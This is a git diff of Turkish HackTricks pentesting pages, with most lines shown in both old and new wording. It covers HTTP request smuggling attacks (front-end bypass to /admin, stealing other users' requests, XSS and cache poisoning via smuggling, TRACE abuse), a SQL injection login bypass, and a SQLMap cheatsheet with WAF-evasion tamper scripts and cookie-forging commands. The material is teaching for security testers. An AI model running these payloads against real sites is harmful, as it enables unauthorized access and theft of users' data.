## HTTP İsteği Kaçırma Kötüye Kullanımı
## HTTP İsteği Kaçırmayı Kötüye Kullanma
### HTTP İsteği Kaçırma ile Ön Uç Güvenliğini Aşma
Bazen, ön uç proxy'leri güvenlik önlemleri uygular ve gelen istekleri inceler. Ancak, bu önlemler HTTP İsteği Kaçırma kullanılarak aşılabilir ve yetkisiz erişim sağlanabilir. Örneğin, `/admin` erişimi dışarıdan yasaklanmış olabilir ve ön uç proxy bu tür girişimleri aktif olarak engelleyebilir. Ancak, bu proxy, kaçırılmış bir HTTP isteği içindeki gömülü istekleri incelemeyi ihmal edebilir ve bu da bu kısıtlamaları aşmak için bir boşluk bırakır.
HTTP İsteği Kaçırma'nın ön uç güvenlik kontrollerini aşmak için nasıl kullanılabileceğini gösteren aşağıdaki örneklere bakın; özellikle genellikle ön uç proxy tarafından korunan `/admin` yolunu hedef alıyor:
HTTP İsteği Kaçırmanın ön uç güvenlik kontrollerini aşmak için nasıl kullanılabileceğini gösteren aşağıdaki örneklere bakın; özellikle genellikle ön uç proxy tarafından korunan `/admin` yolunu hedef alıyor:
**CL.TE Örneği**
```
@ -317,7 +317,7 @@ Content-Length: 10
x=
```
CL.TE saldırısında, `Content-Length` başlığı ilk istek için kullanılırken, sonraki gömülü istek `Transfer-Encoding: chunked` başlığını kullanır. Ön uç proxy, ilk `POST` isteğini işler ancak gömülü `GET /admin` isteğini denetlemeyi başaramaz, bu da `/admin` yoluna yetkisiz erişime izin verir.
CL.TE saldırısında, başlangıç isteği için `Content-Length` başlığı kullanılırken, sonraki gömülü istek `Transfer-Encoding: chunked` başlığını kullanır. Ön uç proxy, başlangıç `POST` isteğini işler ancak gömülü `GET /admin` isteğini denetlemeyi başaramaz, bu da `/admin` yoluna yetkisiz erişime izin verir.
**TE.CL Örneği**
```
@ -335,13 +335,13 @@ a=x
0
```
Tersine olarak, TE.CL saldırısında, başlangıçtaki `POST` isteği `Transfer-Encoding: chunked` kullanır ve sonraki gömülü istek `Content-Length` başlığına göre işlenir. CL.TE saldırısına benzer şekilde, ön uç proxy, kaçırılan `GET /admin` isteğini göz ardı eder ve istemeden de olsa kısıtlı `/admin` yoluna erişim sağlar.
Tersine olarak, TE.CL saldırısında, başlangıçtaki `POST` isteği `Transfer-Encoding: chunked` kullanır ve sonraki gömülü istek `Content-Length` başlığına göre işlenir. CL.TE saldırısında olduğu gibi, ön uç proxy, kaçırılan `GET /admin` isteğini göz ardı eder ve istemeden de olsa kısıtlı `/admin` yoluna erişim sağlar.
### Ön uç istek yeniden yazımınıığa çıkarma <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Uygulamalar genellikle gelen istekleri arka uç sunucusuna iletmeden önce değiştirmek için bir **ön uç sunucusu** kullanır. Tipik bir değişiklik, arka uca istemcinin IP'sini iletmek için `X-Forwarded-For: <IP of the client>` gibi başlıklar eklemeyi içerir. Bu değişiklikleri anlamak kritik olabilir, çünkü **korumaları aşmanın** veya **gizli bilgileri veya uç noktalarıığa çıkarmanın** yollarını ortaya çıkarabilir.
Bir proxy'nin isteği nasıl değiştirdiğini araştırmak için, arka uçta yanıt olarak yankılanan bir POST parametresi bulun. Ardından, bu parametreyi en sona koyarak aşağıdakine benzer bir istek oluşturun:
Bir proxy'nin isteği nasıl değiştirdiğini araştırmak için, arka uçta yanıt olarak yankılanan bir POST parametresi bulun. Ardından, bu parametreyi en sona koyarak aşağıdaki gibi bir istek oluşturun:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -358,11 +358,11 @@ Content-Length: 100
search=
```
Bu yapıda, sonraki istek bileşenleri `search=` sonrasında eklenir; bu, yanıtta yansıtılan parametredir. Bu yansıma, sonraki isteğin başlıklarınıığa çıkaracaktır.
Bu yapıda, sonraki istek bileşenleri `search=` sonrasına eklenir; bu, yanıtta yansıtılan parametredir. Bu yansıma, sonraki isteğin başlıklarınıığa çıkaracaktır.
İç içe isteğin `Content-Length` başlığının gerçek içerik uzunluğu ile hizalanması önemlidir. Küçük bir değerle başlayıp yavaşça artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi keserken, çok yüksek bir değer isteğin hata vermesine neden olabilir.
Bu teknik, bir TE.CL zafiyeti bağlamında da uygulanabilir, ancak istek `search=\r\n0` ile sona ermelidir. Yeni satır karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.
Bu teknik, bir TE.CL zafiyeti bağlamında da uygulanabilir, ancak istek `search=\r\n0` ile sonlanmalıdır. Yeni satır karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.
Bu yöntem esasen ön uç proxy tarafından yapılan istek değişikliklerini anlamak için hizmet eder ve temelde kendi kendine yönlendirilmiş bir araştırma gerçekleştirir.
@ -392,18 +392,18 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
```
Bu senaryoda, **comment parametresi**, kamuya açık bir sayfadaki bir gönderinin yorum bölümündeki içerikleri saklamak için tasarlanmıştır. Sonuç olarak, sonraki isteğin içeriği bir yorum olarak görünecektir.
Ancak, bu tekniğin sınırlamaları vardır. Genel olarak, yalnızca kaçak istekte kullanılan parametre ayırıcıya kadar veri yakalar. URL kodlu form gönderimleri için bu ayırıcı `&` karakteridir. Bu, mağdur kullanıcının isteğinden yakalanan içeriğin ilk `&` ile duracağı anlamına gelir; bu, sorgu dizesinin bir parçası bile olabilir.
Ancak, bu tekniğin sınırlamaları vardır. Genel olarak, yalnızca smuggled istekte kullanılan parametre ayırıcıya kadar veri yakalar. URL kodlu form gönderimleri için bu ayırıcı `&` karakteridir. Bu, mağdur kullanıcının isteğinden yakalanan içeriğin ilk `&` ile duracağı anlamına gelir; bu, sorgu dizesinin bir parçası bile olabilir.
Ayrıca, bu yaklaşımın TE.CL zafiyeti ile de geçerli olduğunu belirtmek gerekir. Bu tür durumlarda, istek `search=\r\n0` ile sona ermelidir. Satır sonu karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.
### HTTP istek kaçakçılığını yansıyan XSS'i istismar etmek için kullanma
### HTTP request smuggling kullanarak yansıtılan XSS'i istismar etme
HTTP Request Smuggling, **Yansıyan XSS**'e karşı savunmasız web sayfalarını istismar etmek için kullanılabilir ve önemli avantajlar sunar:
HTTP Request Smuggling, **Yansıtılan XSS**'e karşı savunmasız web sayfalarını istismar etmek için kullanılabilir ve önemli avantajlar sunar:
* Hedef kullanıcılarla etkileşim **gerekmez**.
* Hedef kullanıcılarla **etkileşim gerektirmez**.
* İsteğin **normalde ulaşılamayan** kısımlarında, örneğin HTTP istek başlıklarında XSS'in istismarına olanak tanır.
Bir web sitesinin User-Agent başlığı aracılığıyla Yansıyan XSS'e karşı savunmasız olduğu senaryolarda, aşağıdaki yük, bu zafiyeti nasıl istismar edeceğini göstermektedir:
Bir web sitesinin User-Agent başlığı aracılığıyla Yansıtılan XSS'e karşı savunmasız olduğu senaryolarda, aşağıdaki yük, bu zafiyeti nasıl istismar edeceğini göstermektedir:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -424,23 +424,23 @@ Content-Type: application/x-www-form-urlencoded
A=
```
Bu yük, açığı istismar etmek için şu şekilde yapılandırılmıştır:
Bu payload, açığı istismar etmek için şu şekilde yapılandırılmıştır:
1. Görünüşte tipik bir `POST` isteği başlatmak, smuggling'in başlangıcını belirtmek için `Transfer-Encoding: chunked` başlığı ile.
2. Ardından, chunked mesaj gövdesinin sonunu işaret eden bir `0` ile devam etmek.
3. Sonra, `User-Agent` başlığına bir script, `<script>alert(1)</script>`, enjekte edilen smuggled bir `GET` isteği tanıtılır; bu, sunucu bu sonraki isteği işlediğinde XSS'i tetikler.
1. Smuggling'in başlangıcını belirtmek için `Transfer-Encoding: chunked` başlığı ile, görünüşte tipik bir `POST` isteği başlatmak.
2. Chunked mesaj gövdesinin sonunu işaret eden bir `0` ile devam etmek.
3. Ardından, `User-Agent` başlığına bir script, `<script>alert(1)</script>`, enjekte edilen bir smuggled `GET` isteği tanıtmak; bu, sunucu bu sonraki isteği işlediğinde XSS'i tetikler.
`User-Agent`'ı smuggling ile manipüle ederek, yük normal istek kısıtlamalarını aşar ve böylece Yansıtılan XSS açığını standart dışı ama etkili bir şekilde istismar eder.
`User-Agent`'ı smuggling ile manipüle ederek, payload normal istek kısıtlamalarını aşar ve böylece yansıtılan XSS açığını standart dışı ama etkili bir şekilde istismar eder.
#### HTTP/0.9
{% hint style="danger" %}
Kullanıcı içeriği, **`Content-type`** gibi bir yanıt içinde yansıtıldığında, XSS'in çalışmasını engelleyebilir. Eğer sunucu **HTTP/0.9** destekliyorsa, bunu aşmak mümkün olabilir!
Kullanıcı içeriği, **`Content-type`** gibi bir yanıt içinde yansıtıldığında **`text/plain`**, XSS'in çalışmasını engeller. Eğer sunucu **HTTP/0.9 destekliyorsa, bunu aşmak mümkün olabilir**!
{% endhint %}
HTTP/0.9 sürümü, 1.0'dan önceydi ve yalnızca **GET** fiillerini kullanır ve **başlıklar** ile yanıt vermez, sadece gövdeyi kullanır.
[**bu yazıda**](https://mizu.re/post/twisty-python), bir istek smuggling ve **kullanıcının girişi ile yanıt verecek bir açık uç noktası** ile istismar edildi; HTTP/0.9 ile bir istek smuggling yapmak için. Yanıtta yansıtılacak parametre, **geçerli başlıklar ve gövde ile sahte bir HTTP/1.1 yanıtı** içeriyordu, böylece yanıt geçerli çalıştırılabilir JS kodu içerecek ve `Content-Type` olarak `text/html` olacaktır.
[**bu yazıda**](https://mizu.re/post/twisty-python), bir istek smuggling ve **kullanıcının girişi ile yanıt verecek bir açık uç noktası** ile istismar edildi; HTTP/0.9 ile bir istek smuggling yapmak için. Yanıtta yansıtılacak parametre, **geçersiz bir HTTP/1.1 yanıtı (başlıklar ve gövde ile)** içeriyordu, böylece yanıt geçerli çalıştırılabilir JS kodu içerecek ve `Content-Type` olarak `text/html` olacaktır.
### HTTP İstek Smuggling ile Yerinde Yönlendirmeleri İstismar Etme <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
@ -454,7 +454,7 @@ Sonuçlar:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Her ne kadar zararsız görünse de, bu davranış HTTP request smuggling kullanılarak kullanıcıları harici bir siteye yönlendirmek için manipüle edilebilir. Örneğin:
Her ne kadar zararsız gibi görünse de, bu davranış HTTP request smuggling kullanılarak kullanıcıları harici bir siteye yönlendirmek için manipüle edilebilir. Örneğin:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -486,9 +486,9 @@ Bu senaryoda, bir kullanıcının JavaScript dosyası için isteği ele geçiril
Web cache poisoning, **ön uç altyapısının içerik önbelleğe alması** durumunda gerçekleştirilebilir; bu genellikle performansı artırmak için yapılır. Sunucunun yanıtını manipüle ederek, **önbelleği zehirlemek** mümkündür.
Daha önce, sunucu yanıtlarının 404 hatası dönecek şekilde nasıl değiştirilebileceğini gözlemledik (bkz. [Temel Örnekler](./#basic-examples)). Benzer şekilde, sunucuyu `/static/include.js` isteğine yanıt olarak `/index.html` içeriği sunmaya kandırmak mümkündür. Sonuç olarak, `/static/include.js` içeriği önbellekte `/index.html` ile değiştirilir, bu da `/static/include.js`'nin kullanıcılara erişilemez hale gelmesine neden olur ve bu durum bir Hizmet Reddi (DoS) ile sonuçlanabilir.
Daha önce, sunucu yanıtlarının 404 hatası döndürmek için nasıl değiştirilebileceğini gözlemledik (bkz. [Temel Örnekler](./#basic-examples)). Benzer şekilde, sunucuyu `/static/include.js` isteğine yanıt olarak `/index.html` içeriği sunmaya kandırmak mümkündür. Sonuç olarak, `/static/include.js` içeriği önbellekte `/index.html` ile değiştirilir, bu da `/static/include.js`'nin kullanıcılara erişilemez hale gelmesine neden olur ve bu durum bir Hizmet Reddi (DoS) ile sonuçlanabilir.
Bu teknik, bir **Açık Yönlendirme açığı** keşfedildiğinde veya **açık yönlendirmeye yerel bir yönlendirme** varsa özellikle güçlü hale gelir. Bu tür açıklar, saldırganın kontrolündeki bir script ile `/static/include.js`'nin önbelleğe alınmış içeriğini değiştirmek için sömürülebilir ve bu da güncellenmiş `/static/include.js`'yi talep eden tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısına olanak tanır.
Bu teknik, bir **Açık Yönlendirme açığı** keşfedildiğinde veya **açık yönlendirmeye yerel bir yönlendirme** varsa özellikle güçlü hale gelir. Bu tür açıklar, saldırganın kontrolündeki bir betikle `/static/include.js`'nin önbelleğe alınmış içeriğini değiştirmek için sömürülebilir ve bu da güncellenmiş `/static/include.js`'yi talep eden tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısına olanak tanır.
Aşağıda, **önbellek zehirlenmesi ile açık yönlendirmeye yerel bir yönlendirme** kombinasyonunun sömürülmesine dair bir illüstrasyon bulunmaktadır. Amaç, saldırgan tarafından kontrol edilen JavaScript kodunu sunmak için `/static/include.js`'nin önbellek içeriğini değiştirmektir:
```
@ -508,18 +508,18 @@ Content-Length: 10
x=1
```
Not edin ki `/post/next?postId=3` hedefleyen gömülü istek var. Bu istek, **Host başlık değeri** kullanılarak alan adını belirlemek için `/post?postId=4`'e yönlendirilecektir. **Host başlığını** değiştirerek, saldırgan isteği kendi alanına yönlendirebilir (**yerinde yönlendirme ile açık yönlendirme**).
Not edin ki, `/post/next?postId=3` hedefleyen gömülü istek var. Bu istek, **Host başlık değeri** kullanılarak `/post?postId=4` adresine yönlendirilecektir. **Host başlığını** değiştirerek, saldırgan isteği kendi alanına yönlendirebilir (**yerinde yönlendirme ile açık yönlendirme**).
Başarılı **socket zehirlenmesi** sonrasında, `/static/include.js` için bir **GET isteği** başlatılmalıdır. Bu istek, önceki **yerinde yönlendirme ile açık yönlendirme** isteği tarafından kirletilecek ve saldırgan tarafından kontrol edilen scriptin içeriğini alacaktır.
Başarılı bir **socket poisoning** sonrasında, `/static/include.js` için bir **GET isteği** başlatılmalıdır. Bu istek, önceki **yerinde yönlendirme ile açık yönlendirme** isteği tarafından kirletilecek ve saldırgan tarafından kontrol edilen scriptin içeriğini alacaktır.
Sonrasında, `/static/include.js` için yapılan her istek, saldırganın scriptinin önbelleğe alınmış içeriğini sunacak ve etkili bir geniş XSS saldırısını başlatacaktır.
### HTTP istek kaçırma kullanarak web önbellek aldatması gerçekleştirme <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### HTTP istek kaçırma kullanarak web önbellek aldatmacası gerçekleştirme <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **Web önbellek zehirlenmesi ile web önbellek aldatması arasındaki fark nedir?**
> **Web önbellek zehirlenmesi ile web önbellek aldatmacası arasındaki fark nedir?**
>
> * **Web önbellek zehirlenmesi**'nde, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerik diğer uygulama kullanıcılarına önbellekten sunulur.
> * **Web önbellek aldatması**'nda, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe depolamasını sağlar ve ardından bu içeriği önbellekten geri alır.
> * **Web önbellek aldatmacası**'nda, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe depolamasını sağlar ve ardından bu içeriği önbellekten geri alır.
Saldırgan, hassas kullanıcıya özel içeriği alacak şekilde kaçırılmış bir istek hazırlar. Aşağıdaki örneği düşünün:
```markdown
@ -534,7 +534,7 @@ Saldırgan, hassas kullanıcıya özel içeriği alacak şekilde kaçırılmış
```
Eğer bu kaçak istek, statik içerik için tasarlanmış bir önbellek girişini zehirliyorsa (örneğin, `/someimage.png`), mağdurun `/private/messages` adresindeki hassas verileri statik içeriğin önbellek girişi altında önbelleğe alınabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verilere erişim sağlayabilir.
### HTTP İstek Kaçakçılığı ile TRACE Kullanımı <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### HTTP İstek Kaçakçılığı ile TRACE'in Kötüye Kullanılması <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**Bu yazıda**](https://portswigger.net/research/trace-desync-attack) eğer sunucuda TRACE yöntemi etkinse, bunun HTTP İstek Kaçakçılığı ile kötüye kullanılabileceği önerilmektedir. Bunun nedeni, bu yöntemin sunucuya gönderilen herhangi bir başlığı yanıtın gövdesinin bir parçası olarak yansıtmasıdır. Örneğin:
```
@ -542,7 +542,7 @@ TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Yanıt gönderecektir:
Bir yanıt gönderecek:
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -553,15 +553,15 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Bir davranışı kötüye kullanma örneği, **önce bir HEAD isteği sızdırmak** olacaktır. Bu istek, yalnızca bir GET isteğinin **başlıklarıyla** yanıtlanacaktır (**`Content-Type`** bunlar arasında). Ve **HEAD'den hemen sonra bir TRACE isteği sızdırmak**, bu istek **gönderilen verileri yansıtacaktır**.\
Bir davranışı kötüye kullanma örneği, **önce bir HEAD isteği kaçırmak** olacaktır. Bu istek, yalnızca bir GET isteğinin **başlıklarıyla** yanıtlanacaktır (**`Content-Type`** bunlar arasında). Ve **HEAD'den hemen sonra bir TRACE isteği kaçırmak**, bu da **gönderilen verileri yansıtacaktır**.\
HEAD yanıtı bir `Content-Length` başlığı içereceğinden, **TRACE isteğinin yanıtı HEAD yanıtının gövdesi olarak işlenecek, dolayısıyla yanıt içinde rastgele verileri yansıtacaktır**.\
Bu yanıt, bağlantı üzerinden bir sonraki isteğe gönderilecektir, bu nedenle bu, **örneğin rastgele JS kodu enjekte etmek için önbelleğe alınmış bir JS dosyasında kullanılabilir**.
### HTTP Yanıt Bölme ile TRACE Kötüye Kullanımı <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**bu gönderiyi**](https://portswigger.net/research/trace-desync-attack) takip etmeye devam etmek, TRACE yöntemini kötüye kullanmanın başka bir yolunu önermektedir. Yorumlandığı gibi, bir HEAD isteği ve bir TRACE isteği sızdırarak, HEAD isteğine yanıt olarak **yansıtılan bazı verileri kontrol etmek** mümkündür. HEAD isteğinin gövdesinin uzunluğu esasen Content-Length başlığında belirtilmiştir ve TRACE isteğine verilen yanıtla oluşmaktadır.
[**bu gönderiyi**](https://portswigger.net/research/trace-desync-attack) takip etmeye devam etmek, TRACE yöntemini kötüye kullanmanın başka bir yolunu önermektedir. Yorumlandığı gibi, bir HEAD isteği ve bir TRACE isteği kaçırarak, HEAD isteğine yanıt olarak **yansıtılan bazı verileri kontrol etmek** mümkündür. HEAD isteğinin gövdesinin uzunluğu esasen Content-Length başlığında belirtilmiştir ve TRACE isteğine verilen yanıtla oluşmaktadır.
Bu nedenle, yeni fikir, bu Content-Length ve TRACE yanıtındaki verileri bilerek, TRACE yanıtının Content-Length'in son baytından sonra geçerli bir HTTP yanıtı içermesini sağlamak, bir saldırganın bir sonraki yanıt için isteği tamamen kontrol etmesine olanak tanımaktır (bu, bir önbellek zehirlenmesi gerçekleştirmek için kullanılabilir).
Bu nedenle, yeni fikir, bu Content-Length ve TRACE yanıtında verilen verileri bilerek, TRACE yanıtının Content-Length'in son baytından sonra geçerli bir HTTP yanıtı içermesini sağlamak, bir saldırganın bir sonraki yanıta olan isteği tamamen kontrol etmesine olanak tanımaktır (bu, bir önbellek zehirlenmesi gerçekleştirmek için kullanılabilir).
Örnek:
```
@ -582,7 +582,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Bu yanıtları üretecektir (HEAD yanıtının bir Content-Length'e sahip olduğunu ve TRACE yanıtının HEAD gövdesinin bir parçası haline geldiğini ve HEAD Content-Length'i sona erdiğinde geçerli bir HTTP yanıtının sızdırıldığını not edin):
Bu yanıtları üretecektir (HEAD yanıtının bir Content-Length içerdiğine dikkat edin, bu TRACE yanıtının HEAD gövdesinin bir parçası haline gelmesini sağlar ve HEAD Content-Length sona erdiğinde geçerli bir HTTP yanıtı sızdırılır):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -605,7 +605,7 @@ Content-Length: 50
```
### HTTP İstek Kaçırmayı HTTP Yanıt Senkronizasyonu ile Silahlandırma
Bir HTTP İstek Kaçırma açığı buldunuz ve bunu nasıl istismar edeceğinizi bilmiyorsanız, bu diğer istismar yöntemlerini deneyin:
Bir HTTP İstek Kaçırma açığı buldunuz ve bunu nasıl istismar edeceğinizi bilmiyorsunuz. Bu diğer istismar yöntemlerini deneyin:
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
@ -735,7 +735,7 @@ table.add(req)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hackerın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.

View file

@ -15,7 +15,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -833,9 +833,9 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, yetki yükseltmenize izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -1,25 +1,25 @@
# SQLMap - Cheatsheet
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, yetkileri artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -43,7 +43,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```
### Bilgi Alımı
### Bilgi Alma
#### Dahili
```bash
@ -94,13 +94,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
### Enjeksiyonun başarılı olduğunu belirtmek için dize
### Enjeksiyon başarılı olduğunda dizeyi belirtin
```bash
--string="string_showed_when_TRUE"
```
### Eval
**Sqlmap**, her yükü göndermeden önce bazı python tek satırlık kodları ile işlemek için `-e` veya `--eval` kullanımına izin verir. Bu, yükü göndermeden önce özel yollarla işlemek için çok kolay ve hızlı hale getirir. Aşağıdaki örnekte **flask çerez oturumu**, **göndermeden önce flask tarafından bilinen bir anahtar ile imzalanmıştır**:
**Sqlmap**, her yükü göndermeden önce bazı python tek satırları ile işlemek için `-e` veya `--eval` kullanımına izin verir. Bu, yükü göndermeden önce özel yollarla işlemek için çok kolay ve hızlı hale getirir. Aşağıdaki örnekte **flask çerez oturumu**, **göndermeden önce bilinen gizli anahtar ile flask tarafından imzalanmıştır**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
@ -160,7 +160,7 @@ Unutmayın ki **kendi tamper'ınızı python ile oluşturabilirsiniz** ve bu ço
| ---------------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Apostrof karakterini UTF-8 tam genişlik karşılığı ile değiştirir |
| apostrophenullencode.py | Apostrof karakterini yasadışı çift unicode karşılığı ile değiştirir |
| appendnullbyte.py | Payload'un sonuna kodlanmış NULL byte karakteri ekler |
| appendnullbyte.py | Payload'un sonuna kodlanmış NULL byte karakteri ekler |
| base64encode.py | Verilen payload'daki tüm karakterleri Base64 ile kodlar |
| between.py | '>' operatörünü 'NOT BETWEEN 0 AND #' ile değiştirir |
| bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında '=' karakterini LIKE operatörü ile değiştirir |
@ -191,7 +191,7 @@ Unutmayın ki **kendi tamper'ınızı python ile oluşturabilirsiniz** ve bu ço
| space2hash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
| space2morehash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
| space2mssqlblank.py | Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| space2mssqlhash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından yeni bir satır ('\n') ekler |
